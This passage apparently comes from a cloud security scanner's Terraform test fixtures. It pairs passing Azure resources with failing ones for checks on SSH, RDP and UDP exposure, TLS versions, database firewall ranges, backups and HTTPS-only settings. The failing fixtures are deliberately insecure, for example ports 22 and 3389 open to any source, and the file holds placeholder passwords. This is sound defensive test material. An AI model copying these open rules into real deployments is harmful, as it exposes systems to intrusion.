"azurerm_network_security_group" "http_restricted" { name = "example" location = "azurerm_resource_group.example.location" resource_group_name = "azurerm_resource_group.example.name" security_rule { name = "example" access = "Allow" direction = "Inbound" priority = 100 protocol = "Tcp" destination_port_range = 80 source_address_prefix = "10.0.0.0/16" } } # fail resource "azurerm_network_security_rule" "http" { name = "example" access = "Allow" direction = "Inbound" network_security_group_name = "azurerm_network_security_group.example.name" priority = 100 protocol = "Tcp" resource_group_name = "azurerm_resource_group.example.name" destination_port_range = 80 source_address_prefix = "*" destination_port_ranges = null source_address_prefixes = null } resource "azurerm_network_security_rule" "all" { name = "example" access = "Allow" direction = "Inbound" network_security_group_name = "azurerm_network_security_group.example.name" priority = 100 protocol = "Tcp" resource_group_name = "azurerm_resource_group.example.name" destination_port_range = "*" source_address_prefix = "Internet" } resource "azurerm_network_security_rule" "range" { name = "example" access = "Allow" direction = "Inbound" network_security_group_name = "azurerm_network_security_group.example.name" priority = 100 protocol = "Tcp" resource_group_name = "azurerm_resource_group.example.name" destination_port_range = "10-100" source_address_prefix = "Internet" } resource "azurerm_network_security_rule" "ranges_prefixes" { name = "example" access = "Allow" direction = "Inbound" network_security_group_name = "azurerm_network_security_group.example.name" priority = 100 protocol = "Tcp" resource_group_name = "azurerm_resource_group.example.name" destination_port_range = null source_address_prefix = null destination_port_ranges = [ 80, 443 ] source_address_prefixes = [ "Internet", "10.0.0.0/16" ] } resource "azurerm_network_security_group" "ranges" { name = "example" location = "azurerm_resource_group.example.location" resource_group_name = "azurerm_resource_group.example.name" security_rule { name = "example" access = "Allow" direction = "Inbound" priority = 100 protocol = "Tcp" destination_port_ranges = [ "10-100", "8000-9000" ] source_address_prefix = "*" } } ================================================ FILE: tests/terraform/checks/resource/azure/example_NSGRuleRDPAccessRestricted/main.tf ================================================ # pass resource "azurerm_network_security_rule" "https" { name = "example" access = "Allow" direction = "Inbound" network_security_group_name = "azurerm_network_security_group.example.name" priority = 100 protocol = "Tcp" resource_group_name = "azurerm_resource_group.example.name" destination_port_range = 443 source_address_prefix = "Internet" } resource "azurerm_network_security_rule" "rdp_restricted_prefixes" { name = "example" access = "Allow" direction = "Inbound" network_security_group_name = "azurerm_network_security_group.example.name" priority = 100 protocol = "Tcp" resource_group_name = "azurerm_resource_group.example.name" destination_port_range = 3389 source_address_prefixes = [ "123.123.123.123/32", "10.0.0.0/16" ] } resource "azurerm_network_security_group" "rdp_restricted" { name = "example" location = "azurerm_resource_group.example.location" resource_group_name = "azurerm_resource_group.example.name" security_rule { name = "example" access = "Allow" direction = "Inbound" priority = 100 protocol = "Tcp" destination_port_range = 3389 source_address_prefix = "10.0.0.0/16" } } # fail resource "azurerm_network_security_rule" "rdp" { name = "example" access = "Allow" direction = "Inbound" network_security_group_name = "azurerm_network_security_group.example.name" priority = 100 protocol = "Tcp" resource_group_name = "azurerm_resource_group.example.name" destination_port_range = 3389 source_address_prefix = "*" destination_port_ranges = null source_address_prefixes = null } resource "azurerm_network_security_rule" "all" { name = "example" access = "Allow" direction = "Inbound" network_security_group_name = "azurerm_network_security_group.example.name" priority = 100 protocol = "Tcp" resource_group_name = "azurerm_resource_group.example.name" destination_port_range = "*" source_address_prefix = "Internet" } resource "azurerm_network_security_rule" "range" { name = "example" access = "Allow" direction = "Inbound" network_security_group_name = "azurerm_network_security_group.example.name" priority = 100 protocol = "Tcp" resource_group_name = "azurerm_resource_group.example.name" destination_port_range = "3000-4000" source_address_prefix = "Internet" } resource "azurerm_network_security_rule" "ranges_prefixes" { name = "example" access = "Allow" direction = "Inbound" network_security_group_name = "azurerm_network_security_group.example.name" priority = 100 protocol = "Tcp" resource_group_name = "azurerm_resource_group.example.name" destination_port_range = null source_address_prefix = null destination_port_ranges = [ 3389, 443 ] source_address_prefixes = [ "Internet", "10.0.0.0/16" ] } resource "azurerm_network_security_group" "ranges" { name = "example" location = "azurerm_resource_group.example.location" resource_group_name = "azurerm_resource_group.example.name" security_rule { name = "example" access = "Allow" direction = "Inbound" priority = 100 protocol = "Tcp" destination_port_ranges = [ "3000-4000", "8000-9000" ] source_address_prefix = "*" } } # lower case resource "azurerm_network_security_rule" "ranges_prefixes_lower_case" { name = "example" access = "allow" direction = "inbound" network_security_group_name = "azurerm_network_security_group.example.name" priority = 100 protocol = "tcp" resource_group_name = "azurerm_resource_group.example.name" destination_port_range = null source_address_prefix = null destination_port_ranges = [ 3389, 443 ] source_address_prefixes = [ "internet", "10.0.0.0/16" ] } resource "azurerm_network_security_rule" "range_prefix_lower_case" { name = "example" access = "allow" direction = "inbound" network_security_group_name = "azurerm_network_security_group.example.name" priority = 100 protocol = "tcp" resource_group_name = "azurerm_resource_group.example.name" destination_port_range = "3000-4000" source_address_prefix = "internet" } resource "azurerm_network_security_group" "snet_nsgs" { count = length(local.subnets) name = "${local.root}-snet-${lookup(local.subnets[count.index], "name")}-nsg" location = azurerm_resource_group.net_rg.location resource_group_name = azurerm_resource_group.net_rg.name tags = local.tags dynamic "security_rule" { for_each = [for s in local.subnets[count.index].nsg_rules : { name = s.name priority = s.priority direction = s.direction access = s.access protocol = s.protocol source_port_range = s.source_port_range destination_port_range = s.destination_port_range source_address_prefix = s.source_address_prefix destination_address_prefix = s.destination_address_prefix description = s.description }] content { name = security_rule.value.name priority = security_rule.value.priority direction = security_rule.value.direction access = security_rule.value.access protocol = security_rule.value.protocol source_port_range = security_rule.value.source_port_range destination_port_range = security_rule.value.destination_port_range source_address_prefix = security_rule.value.source_address_prefix destination_address_prefix = security_rule.value.destination_address_prefix description = security_rule.value.description } } } ================================================ FILE: tests/terraform/checks/resource/azure/example_NSGRuleSSHAccessRestricted/main.tf ================================================ # pass resource "azurerm_network_security_rule" "https" { name = "example" access = "Allow" direction = "Inbound" network_security_group_name = "azurerm_network_security_group.example.name" priority = 100 protocol = "Tcp" resource_group_name = "azurerm_resource_group.example.name" destination_port_range = 443 source_address_prefix = "Internet" } resource "azurerm_network_security_rule" "ssh_restricted_prefixes" { name = "example" access = "Allow" direction = "Inbound" network_security_group_name = "azurerm_network_security_group.example.name" priority = 100 protocol = "Tcp" resource_group_name = "azurerm_resource_group.example.name" destination_port_range = 22 source_address_prefixes = [ "123.123.123.123/32", "10.0.0.0/16" ] } resource "azurerm_network_security_group" "ssh_restricted" { name = "example" location = "azurerm_resource_group.example.location" resource_group_name = "azurerm_resource_group.example.name" security_rule { name = "example" access = "Allow" direction = "Inbound" priority = 100 protocol = "Tcp" destination_port_range = 22 source_address_prefix = "10.0.0.0/16" } } # fail resource "azurerm_network_security_rule" "ssh" { name = "example" access = "Allow" direction = "Inbound" network_security_group_name = "azurerm_network_security_group.example.name" priority = 100 protocol = "Tcp" resource_group_name = "azurerm_resource_group.example.name" destination_port_range = 22 source_address_prefix = "*" destination_port_ranges = null source_address_prefixes = null } resource "azurerm_network_security_rule" "all" { name = "example" access = "Allow" direction = "Inbound" network_security_group_name = "azurerm_network_security_group.example.name" priority = 100 protocol = "Tcp" resource_group_name = "azurerm_resource_group.example.name" destination_port_range = "*" source_address_prefix = "Internet" } resource "azurerm_network_security_rule" "range" { name = "example" access = "Allow" direction = "Inbound" network_security_group_name = "azurerm_network_security_group.example.name" priority = 100 protocol = "Tcp" resource_group_name = "azurerm_resource_group.example.name" destination_port_range = "10-100" source_address_prefix = "Internet" } resource "azurerm_network_security_rule" "ranges_prefixes" { name = "example" access = "Allow" direction = "Inbound" network_security_group_name = "azurerm_network_security_group.example.name" priority = 100 protocol = "Tcp" resource_group_name = "azurerm_resource_group.example.name" destination_port_range = null source_address_prefix = null destination_port_ranges = [ 22, 443 ] source_address_prefixes = [ "Internet", "10.0.0.0/16" ] } resource "azurerm_network_security_group" "ranges" { name = "example" location = "azurerm_resource_group.example.location" resource_group_name = "azurerm_resource_group.example.name" security_rule { name = "example" access = "Allow" direction = "Inbound" priority = 100 protocol = "Tcp" destination_port_ranges = [ "10-100", "8000-9000" ] source_address_prefix = "*" } } ================================================ FILE: tests/terraform/checks/resource/azure/example_NSGRuleUDPAccessRestricted/main.tf ================================================ resource "azurerm_network_security_group" "old" { name = "allow_sshudp" location = var.region resource_group_name = "contoso_research_dev_rg" tags = var.tags security_rule = [{ access = "Allow" description = "allow_ssh" destination_address_prefix = "*" destination_address_prefixes = [] destination_application_security_group_ids = [] destination_port_range = "" destination_port_ranges = ["22"] direction = "Inbound" name = "allow_ssh" priority = 100 protocol = "Tcp" source_address_prefix = "*" source_address_prefixes = [] source_application_security_group_ids = [] source_port_range = "*" source_port_ranges = [] }, { access = "Allow" description = "allow_udpi" destination_address_prefix = "*" destination_address_prefixes = [] destination_application_security_group_ids = [] destination_port_range = "*" destination_port_ranges = [] direction = "Inbound" name = "allow_udpi" priority = 101 protocol = "Udp" source_address_prefix = "*" source_address_prefixes = [] source_application_security_group_ids = [] source_port_range = "*" source_port_ranges = [] }, { access = "Allow" description = "allow_udpo" destination_address_prefix = "*" destination_address_prefixes = [] destination_application_security_group_ids = [] destination_port_range = "*" destination_port_ranges = [] direction = "Outbound" name = "allow_udpo" priority = 102 protocol = "Udp" source_address_prefix = "*" source_address_prefixes = [] source_application_security_group_ids = [] source_port_range = "*" source_port_ranges = [] }] } resource "azurerm_network_security_group" "fail" { name = "acceptanceTestSecurityGroup1" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name security_rule { name = "test123" priority = 100 direction = "Inbound" access = "Allow" protocol = "Udp" source_port_range = "*" destination_port_range = "*" source_address_prefix = "*" destination_address_prefix = "*" } tags = { environment = "Production" } } resource "azurerm_network_security_group" "fail2" { name = "acceptanceTestSecurityGroup1" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name security_rule { name = "test123" priority = 100 direction = "Inbound" access = "Allow" protocol = "Udp" source_port_range = "*" destination_port_range = "*" source_address_prefix = "any" destination_address_prefix = "*" } tags = { environment = "Production" } } resource "azurerm_network_security_group" "fail3" { name = "acceptanceTestSecurityGroup1" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name security_rule { name = "test123" priority = 100 direction = "Inbound" access = "Allow" protocol = "Udp" source_port_range = "*" destination_port_range = "*" source_address_prefix = "/0" destination_address_prefix = "*" } tags = { environment = "Production" } } resource "azurerm_network_security_group" "fail4" { name = "acceptanceTestSecurityGroup1" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name security_rule { name = "test123" priority = 100 direction = "Inbound" access = "Allow" protocol = "Udp" source_port_range = "*" destination_port_range = "*" source_address_prefix = "/0" destination_address_prefix = "*" } tags = { environment = "Production" } } resource "azurerm_network_security_group" "fail5" { name = "acceptanceTestSecurityGroup1" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name security_rule { name = "test123" priority = 100 direction = "Inbound" access = "Allow" protocol = "Udp" source_port_range = "*" destination_port_range = "*" source_address_prefix = "Internet" destination_address_prefix = "*" } tags = { environment = "Production" } } resource "azurerm_network_security_group" "pass" { name = "acceptanceTestSecurityGroup1" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name security_rule { name = "test123" priority = 100 direction = "Inbound" access = "Deny" protocol = "Udp" source_port_range = "*" destination_port_range = "*" source_address_prefix = "*" destination_address_prefix = "*" } tags = { environment = "Production" } } resource "azurerm_network_security_group" "pass2" { name = "acceptanceTestSecurityGroup1" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name security_rule { name = "test123" priority = 100 direction = "Outbound" access = "Allow" protocol = "Udp" source_port_range = "*" destination_port_range = "*" source_address_prefix = "*" destination_address_prefix = "*" } tags = { environment = "Production" } } resource "azurerm_network_security_group" "pass3" { name = "acceptanceTestSecurityGroup1" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name security_rule { name = "test123" priority = 100 direction = "Inbound" access = "Allow" protocol = "Tcp" source_port_range = "*" destination_port_range = "*" source_address_prefix = "*" destination_address_prefix = "*" } tags = { environment = "Production" } } resource "azurerm_network_security_rule" "fail" { name = "test123" priority = 100 direction = "Inbound" access = "Allow" protocol = "Udp" source_port_range = "*" destination_port_range = "*" source_address_prefix = "*" destination_address_prefix = "*" network_security_group_name = "" resource_group_name = "" } resource "azurerm_network_security_rule" "fail2" { name = "test123" priority = 100 direction = "Inbound" access = "Allow" protocol = "Udp" source_port_range = "*" destination_port_range = "*" source_address_prefix = "any" destination_address_prefix = "*" network_security_group_name = "" resource_group_name = "" } resource "azurerm_network_security_rule" "fail3" { name = "test123" priority = 100 direction = "Inbound" access = "Allow" protocol = "Udp" source_port_range = "*" destination_port_range = "*" source_address_prefix = "/0" destination_address_prefix = "*" network_security_group_name = "" resource_group_name = "" } resource "azurerm_network_security_rule" "fail4" { name = "test123" priority = 100 direction = "Inbound" access = "Allow" protocol = "Udp" source_port_range = "*" destination_port_range = "*" source_address_prefix = "/0" destination_address_prefix = "*" network_security_group_name = "" resource_group_name = "" } resource "azurerm_network_security_rule" "fail5" { name = "test123" priority = 100 direction = "Inbound" access = "Allow" protocol = "Udp" source_port_range = "*" destination_port_range = "*" source_address_prefix = "Internet" destination_address_prefix = "*" network_security_group_name = "" resource_group_name = "" } resource "azurerm_network_security_rule" "pass" { name = "test123" priority = 100 direction = "Inbound" access = "Deny" protocol = "Udp" source_port_range = "*" destination_port_range = "*" source_address_prefix = "*" destination_address_prefix = "*" network_security_group_name = "" resource_group_name = "" } resource "azurerm_network_security_rule" "pass2" { name = "test123" priority = 100 direction = "Outbound" access = "Allow" protocol = "Udp" source_port_range = "*" destination_port_range = "*" source_address_prefix = "*" destination_address_prefix = "*" network_security_group_name = "" resource_group_name = "" } resource "azurerm_network_security_rule" "pass3" { name = "test123" priority = 100 direction = "Inbound" access = "Allow" protocol = "Tcp" source_port_range = "*" destination_port_range = "*" source_address_prefix = "*" destination_address_prefix = "*" network_security_group_name = "" resource_group_name = "" } ================================================ FILE: tests/terraform/checks/resource/azure/example_OpenAICognitiveServicesRestrictOutboundNetwork/main.tf ================================================ resource "azurerm_cognitive_account" "pass_openai" { name = "openai-account" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name kind = "OpenAI" identity { type = "a" } sku_name = "S0" outbound_network_access_restricted = true fqdns = ["openai.example.com"] # Valid FQDN should pass the check tags = { Acceptance = "Test" } } resource "azurerm_cognitive_account" "fail_openai_missing_fqdns" { name = "openai-account-missing-fqdns" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name kind = "OpenAI" identity { type = "a" } sku_name = "S0" outbound_network_access_restricted = true fqdns = [] # Empty list of FQDNs should trigger failure tags = { Acceptance = "Test" } } resource "azurerm_cognitive_account" "fail_openai_missing_outbound_network_access" { name = "openai-account-missing-outbound-network-access" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name kind = "OpenAI" identity { type = "a" } sku_name = "S0" # Missing outbound_network_access_restricted field should trigger failure fqdns = ["openai.example.com"] tags = { Acceptance = "Test" } } resource "azurerm_cognitive_account" "pass_non_openai" { name = "non-openai-account" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name kind = "TextAnalytics" # Non-OpenAI kind should automatically pass the check identity { type = "a" } sku_name = "S0" outbound_network_access_restricted = false fqdns = [] # Doesn't matter since kind is not OpenAI tags = { Acceptance = "Test" } } resource "azurerm_cognitive_account" "fail_openai_missing_fqdns_and_outbound_network_access" { name = "openai-account-missing-both" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name kind = "OpenAI" identity { type = "a" } sku_name = "S0" # Missing outbound access should trigger failure # Empty FQDNs list should trigger failure tags = { Acceptance = "Test" } } resource "azurerm_cognitive_account" "pass_openai_multiple_fqdns" { name = "openai-account-multiple-fqdns" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name kind = "OpenAI" identity { type = "a" } sku_name = "S0" outbound_network_access_restricted = true fqdns = ["openai1.example.com", "openai2.example.com", "openai3.example.com"] # Multiple FQDNs should pass tags = { Acceptance = "Test" } } resource "azurerm_cognitive_account" "fail_openai_missing_fqdns_but_present_outbound_network_access" { name = "openai-account-failed-missing-fqdns" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name kind = "OpenAI" identity { type = "a" } sku_name = "S0" outbound_network_access_restricted = true # Present outbound access but missing FQDNs fqdns = [] # Empty list of FQDNs should trigger failure tags = { Acceptance = "Test" } } resource "azurerm_cognitive_account" "fail_openai_no_outbound_access_and_multiple_fqdns" { name = "openai-account-failed-no-outbound-access-multiple-fqdns" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name kind = "OpenAI" identity { type = "a" } sku_name = "S0" # Missing outbound access but multiple FQDNs present fqdns = ["openai1.example.com", "openai2.example.com", "openai3.example.com"] # Multiple FQDNs should trigger failure due to missing outbound access tags = { Acceptance = "Test" } } ================================================ FILE: tests/terraform/checks/resource/azure/example_PostgreSQLFlexiServerGeoBackupEnabled/main.tf ================================================ # pass resource "azurerm_postgresql_flexible_server" "pass" { name = "example-psqlflexibleserver" resource_group_name = "azurerm_resource_group.example.name" location = "azurerm_resource_group.example.location" version = "12" delegated_subnet_id = "azurerm_subnet.example.id" private_dns_zone_id = "azurerm_private_dns_zone.example.id" administrator_login = "psqladmin" administrator_password = "H@Sh1CoR3!" # checkov:skip=CKV_SECRET_80 test secret zone = "1" storage_mb = 32768 geo_redundant_backup_enabled = true sku_name = "GP_Standard_D4s_v3" depends_on = ["azurerm_private_dns_zone_virtual_network_link.example"] } # fail resource "azurerm_postgresql_flexible_server" "fail1" { name = "example-psqlflexibleserver" resource_group_name = "azurerm_resource_group.example.name" location = "azurerm_resource_group.example.location" version = "12" delegated_subnet_id = "azurerm_subnet.example.id" private_dns_zone_id = "azurerm_private_dns_zone.example.id" administrator_login = "psqladmin" administrator_password = "H@Sh1CoR3!" zone = "1" storage_mb = 32768 geo_redundant_backup_enabled = false sku_name = "GP_Standard_D4s_v3" depends_on = ["azurerm_private_dns_zone_virtual_network_link.example"] } resource "azurerm_postgresql_flexible_server" "fail2" { name = "example-psqlflexibleserver" resource_group_name = "azurerm_resource_group.example.name" location = "azurerm_resource_group.example.location" version = "12" delegated_subnet_id = "azurerm_subnet.example.id" private_dns_zone_id = "azurerm_private_dns_zone.example.id" administrator_login = "psqladmin" administrator_password = "H@Sh1CoR3!" zone = "1" storage_mb = 32768 sku_name = "GP_Standard_D4s_v3" depends_on = ["azurerm_private_dns_zone_virtual_network_link.example"] } # unknown: replica resource "azurerm_postgresql_flexible_server" "replica" { count = var.replica_count name = "${local.database_name}-replica-${count.index}" resource_group_name = var.resource_group.name location = var.resource_group.location delegated_subnet_id = var.shared.subnet_id private_dns_zone_id = var.shared.dns_zone.id sku_name = var.sku_name storage_mb = var.storage_mb version = var.postgresql_version # replication create_mode = "Replica" # <-- This makes the server a replica. source_server_id = azurerm_postgresql_flexible_server.primary.id tags = local.standard_tags lifecycle { precondition { condition = !startswith(var.sku_name, "B_") error_message = "Replicas are not supported for burstable SKUs." } ignore_changes = [ zone, high_availability.0.standby_availability_zone, tags ] } } ================================================ FILE: tests/terraform/checks/resource/azure/example_PostgreSQLMinTLSVersion/main.tf ================================================ resource "azurerm_postgresql_server" "fail" { name = "fail" public_network_access_enabled = true ssl_enforcement_enabled = true ssl_minimal_tls_version_enforced = "TLS1_1" } resource "azurerm_postgresql_server" "pass" { name = "fail" public_network_access_enabled = true ssl_enforcement_enabled = true ssl_minimal_tls_version_enforced = "TLS1_2" } resource "azurerm_postgresql_server" "fail2" { name = "fail" public_network_access_enabled = true ssl_enforcement_enabled = true } ================================================ FILE: tests/terraform/checks/resource/azure/example_PostgreSQLServerLogRetentionEnabled/main.tf ================================================ resource "azurerm_postgresql_configuration" "fail" { name = "log_retention" resource_group_name = data.azurerm_resource_group.example.name server_name = azurerm_postgresql_server.example.name value = "off" } resource "azurerm_postgresql_configuration" "pass" { name = "log_retention" resource_group_name = data.azurerm_resource_group.example.name server_name = azurerm_postgresql_server.example.name value = "on" } ================================================ FILE: tests/terraform/checks/resource/azure/example_PubsubSKUSLA/main.tf ================================================ resource "azurerm_web_pubsub" "pass" { name = "tfex-webpubsub" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name sku = "Standard_S1" capacity = 1 public_network_access_enabled = false live_trace { enabled = true messaging_logs_enabled = true connectivity_logs_enabled = false } identity { type = "SystemAssigned" } } resource "azurerm_web_pubsub" "fail" { name = "tfex-webpubsub" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name sku = "Free_F1" capacity = 1 public_network_access_enabled = false live_trace { enabled = true messaging_logs_enabled = true connectivity_logs_enabled = false } identity { type = "SystemAssigned" } } ================================================ FILE: tests/terraform/checks/resource/azure/example_PubsubSpecifyIdentity/main.tf ================================================ resource "azurerm_web_pubsub" "pass" { name = "tfex-webpubsub" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name sku = "Standard_S1" capacity = 1 public_network_access_enabled = false live_trace { enabled = true messaging_logs_enabled = true connectivity_logs_enabled = false } identity { type = "SystemAssigned" } } resource "azurerm_web_pubsub" "fail" { name = "tfex-webpubsub" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name sku = "Free_F1" capacity = 1 public_network_access_enabled = false live_trace { enabled = true messaging_logs_enabled = true connectivity_logs_enabled = false } } resource "azurerm_web_pubsub" "pass2" { name = "tfex-webpubsub" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name sku = "Standard_S1" capacity = 1 public_network_access_enabled = false live_trace { enabled = true messaging_logs_enabled = true connectivity_logs_enabled = false } identity { type = "UserAssigned" } } ================================================ FILE: tests/terraform/checks/resource/azure/example_RedisCacheMinTLSVersion/main.tf ================================================ resource "azurerm_redis_cache" "pass" { name = "timeout-redis" location = "West Europe" resource_group_name = azurerm_resource_group.example_rg.name subnet_id = azurerm_subnet.example_redis_snet.id family = "P" capacity = 1 sku_name = "Premium" shard_count = 1 enable_non_ssl_port = false minimum_tls_version = "1.2" public_network_access_enabled = true redis_configuration { enable_authentication = true maxmemory_policy = "volatile-lru" } } resource "azurerm_redis_cache" "fail" { name = "timeout-redis" location = "West Europe" resource_group_name = azurerm_resource_group.example_rg.name subnet_id = azurerm_subnet.example_redis_snet.id family = "P" capacity = 1 sku_name = "Premium" shard_count = 1 enable_non_ssl_port = false minimum_tls_version = "1.1" public_network_access_enabled = true redis_configuration { enable_authentication = true maxmemory_policy = "volatile-lru" } } resource "azurerm_redis_cache" "fail2" { name = "timeout-redis" location = "West Europe" resource_group_name = azurerm_resource_group.example_rg.name subnet_id = azurerm_subnet.example_redis_snet.id family = "P" capacity = 1 sku_name = "Premium" shard_count = 1 enable_non_ssl_port = false public_network_access_enabled = true redis_configuration { enable_authentication = true maxmemory_policy = "volatile-lru" } } ================================================ FILE: tests/terraform/checks/resource/azure/example_RedisCacheStandardReplicationEnabled/main.tf ================================================ resource "azurerm_redis_cache" "pass1" { name = "example-cache" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name capacity = 2 family = "C" sku_name = "Standard" enable_non_ssl_port = false minimum_tls_version = "1.2" redis_configuration { } } resource "azurerm_redis_cache" "pass2" { name = "example-cache" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name capacity = 2 family = "C" sku_name = "Premium" enable_non_ssl_port = false minimum_tls_version = "1.2" redis_configuration { } } resource "azurerm_redis_cache" "fail1" { name = "example-cache" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name capacity = 2 family = "C" sku_name = "Basic" enable_non_ssl_port = false minimum_tls_version = "1.2" redis_configuration { } } ================================================ FILE: tests/terraform/checks/resource/azure/example_SQLDatabaseLedgerEnabled/main.tf ================================================ resource "azurerm_mssql_database" "pass" { name = "example-database" server_id = azurerm_mssql_server.example.id collation = "SQL_Latin1_General_CP1_CI_AS" license_type = "LicenseIncluded" max_size_gb = 4 read_scale = true sku_name = "S0" ledger_enabled = true tags = { environment = "Production" } } resource "azurerm_mssql_database" "fail2" { name = "example-database" server_id = azurerm_mssql_server.example.id collation = "SQL_Latin1_General_CP1_CI_AS" license_type = "LicenseIncluded" max_size_gb = 4 read_scale = true sku_name = "S0" ledger_enabled = false tags = { environment = "Production" } } resource "azurerm_mssql_database" "fail" { name = "example-database" server_id = azurerm_mssql_server.example.id collation = "SQL_Latin1_General_CP1_CI_AS" license_type = "LicenseIncluded" max_size_gb = 4 read_scale = true sku_name = "S0" tags = { environment = "Production" } } ================================================ FILE: tests/terraform/checks/resource/azure/example_SQLDatabaseZoneRedundant/main.tf ================================================ resource "azurerm_mssql_database" "pass" { name = "example-database" server_id = azurerm_mssql_server.example.id collation = "SQL_Latin1_General_CP1_CI_AS" license_type = "LicenseIncluded" max_size_gb = 4 read_scale = true sku_name = "S0" zone_redundant = true tags = { environment = "Production" } } resource "azurerm_mssql_database" "fail2" { name = "example-database" server_id = azurerm_mssql_server.example.id collation = "SQL_Latin1_General_CP1_CI_AS" license_type = "LicenseIncluded" max_size_gb = 4 read_scale = true sku_name = "S0" zone_redundant = false tags = { environment = "Production" } } resource "azurerm_mssql_database" "fail" { name = "example-database" server_id = azurerm_mssql_server.example.id collation = "SQL_Latin1_General_CP1_CI_AS" license_type = "LicenseIncluded" max_size_gb = 4 read_scale = true sku_name = "S0" tags = { environment = "Production" } } ================================================ FILE: tests/terraform/checks/resource/azure/example_SQLServerNoPublicAccess/main.tf ================================================ resource "azurerm_mysql_firewall_rule" "fail" { name = "office" resource_group_name = azurerm_resource_group.example.name server_name = azurerm_mysql_server.example.name start_ip_address = "0.0.0.0" end_ip_address = "255.255.255.255" } resource "azurerm_mysql_firewall_rule" "pass" { name = "office" resource_group_name = azurerm_resource_group.example.name server_name = azurerm_mysql_server.example.name start_ip_address = "0.0.0.0" end_ip_address = "0.0.0.0" } resource "azurerm_mysql_firewall_rule" "pass2" { name = "office" resource_group_name = azurerm_resource_group.example.name server_name = azurerm_mysql_server.example.name start_ip_address = "40.112.8.12" end_ip_address = "40.112.8.17" } resource "azurerm_mysql_flexible_server_firewall_rule" "pass" { name = "office" resource_group_name = azurerm_resource_group.example.name server_name = azurerm_mysql_flexible_server.example.name start_ip_address = "40.112.0.0" end_ip_address = "40.112.255.255" } resource "azurerm_mysql_flexible_server_firewall_rule" "fail" { name = "office" resource_group_name = azurerm_resource_group.example.name server_name = azurerm_mysql_flexible_server.example.name start_ip_address = "0.0.0.0" end_ip_address = "255.255.255.255" } resource "azurerm_mssql_firewall_rule" "pass" { name = "FirewallRule1" server_id = azurerm_mssql_server.example.id start_ip_address = "10.0.17.62" end_ip_address = "10.0.17.62" } resource "azurerm_mssql_firewall_rule" "fail" { name = "FirewallRule1" server_id = azurerm_mssql_server.example.id start_ip_address = "0.0.0.0" end_ip_address = "255.255.255.255" } ================================================ FILE: tests/terraform/checks/resource/azure/example_SignalRSKUSLA/main.tf ================================================ resource "azurerm_signalr_service" "fail" { name = "tfex-signalr" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name sku { name = "Free_F1" capacity = 1 } cors { allowed_origins = ["http://www.example.com"] } connectivity_logs_enabled = true messaging_logs_enabled = true service_mode = "Default" upstream_endpoint { category_pattern = ["connections", "messages"] event_pattern = ["*"] hub_pattern = ["hub1"] url_template = "http://foo.com" } } resource "azurerm_signalr_service" "pass" { name = "tfex-signalr" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name sku { name = "Standard_S1" capacity = 1 } cors { allowed_origins = ["http://www.example.com"] } connectivity_logs_enabled = true messaging_logs_enabled = true service_mode = "Default" upstream_endpoint { category_pattern = ["connections", "messages"] event_pattern = ["*"] hub_pattern = ["hub1"] url_template = "http://foo.com" } } ================================================ FILE: tests/terraform/checks/resource/azure/example_SpringCloudAPIPortalHTTPSOnly/main.tf ================================================ resource "azurerm_spring_cloud_api_portal" "fail" { name = "default" spring_cloud_service_id = azurerm_spring_cloud_service.example.id gateway_ids = [azurerm_spring_cloud_gateway.example.id] public_network_access_enabled = true instance_count = 1 sso { client_id = "test" client_secret = "secret" issuer_uri = "https://www.example.com/issueToken" scope = ["read"] } } resource "azurerm_spring_cloud_api_portal" "fail2" { name = "default" spring_cloud_service_id = azurerm_spring_cloud_service.example.id gateway_ids = [azurerm_spring_cloud_gateway.example.id] https_only_enabled = false public_network_access_enabled = true instance_count = 1 sso { client_id = "test" client_secret = "secret" issuer_uri = "https://www.example.com/issueToken" scope = ["read"] } } resource "azurerm_spring_cloud_api_portal" "pass" { name = "default" spring_cloud_service_id = azurerm_spring_cloud_service.example.id gateway_ids = [azurerm_spring_cloud_gateway.example.id] https_only_enabled = true public_network_access_enabled = true instance_count = 1 sso { client_id = "test" client_secret = "secret" issuer_uri = "https://www.example.com/issueToken" scope = ["read"] } } ================================================ FILE: tests/terraform/checks/resource/azure/example_SpringCloudAPIPortalPublicAccessIsDisabled/main.tf ================================================ resource "azurerm_spring_cloud_api_portal" "fail" { name = "default" spring_cloud_service_id = azurerm_spring_cloud_service.example.id gateway_ids = [azurerm_spring_cloud_gateway.example.id] public_network_access_enabled = true instance_count = 1 sso { client_id = "test" client_secret = "secret" issuer_uri = "https://www.example.com/issueToken" scope = ["read"] } } resource "azurerm_spring_cloud_api_portal" "pass" { name = "default" spring_cloud_service_id = azurerm_spring_cloud_service.example.id gateway_ids = [azurerm_spring_cloud_gateway.example.id] https_only_enabled = false instance_count = 1 sso { client_id = "test" client_secret = "secret" issuer_uri = "https://www.example.com/issueToken" scope = ["read"] } } resource "azurerm_spring_cloud_api_portal" "pass2" { name = "default" spring_cloud_service_id = azurerm_spring_cloud_service.example.id gateway_ids = [azurerm_spring_cloud_gateway.example.id] https_only_enabled = false public_network_access_enabled = false instance_count = 1 sso { client_id = "test" 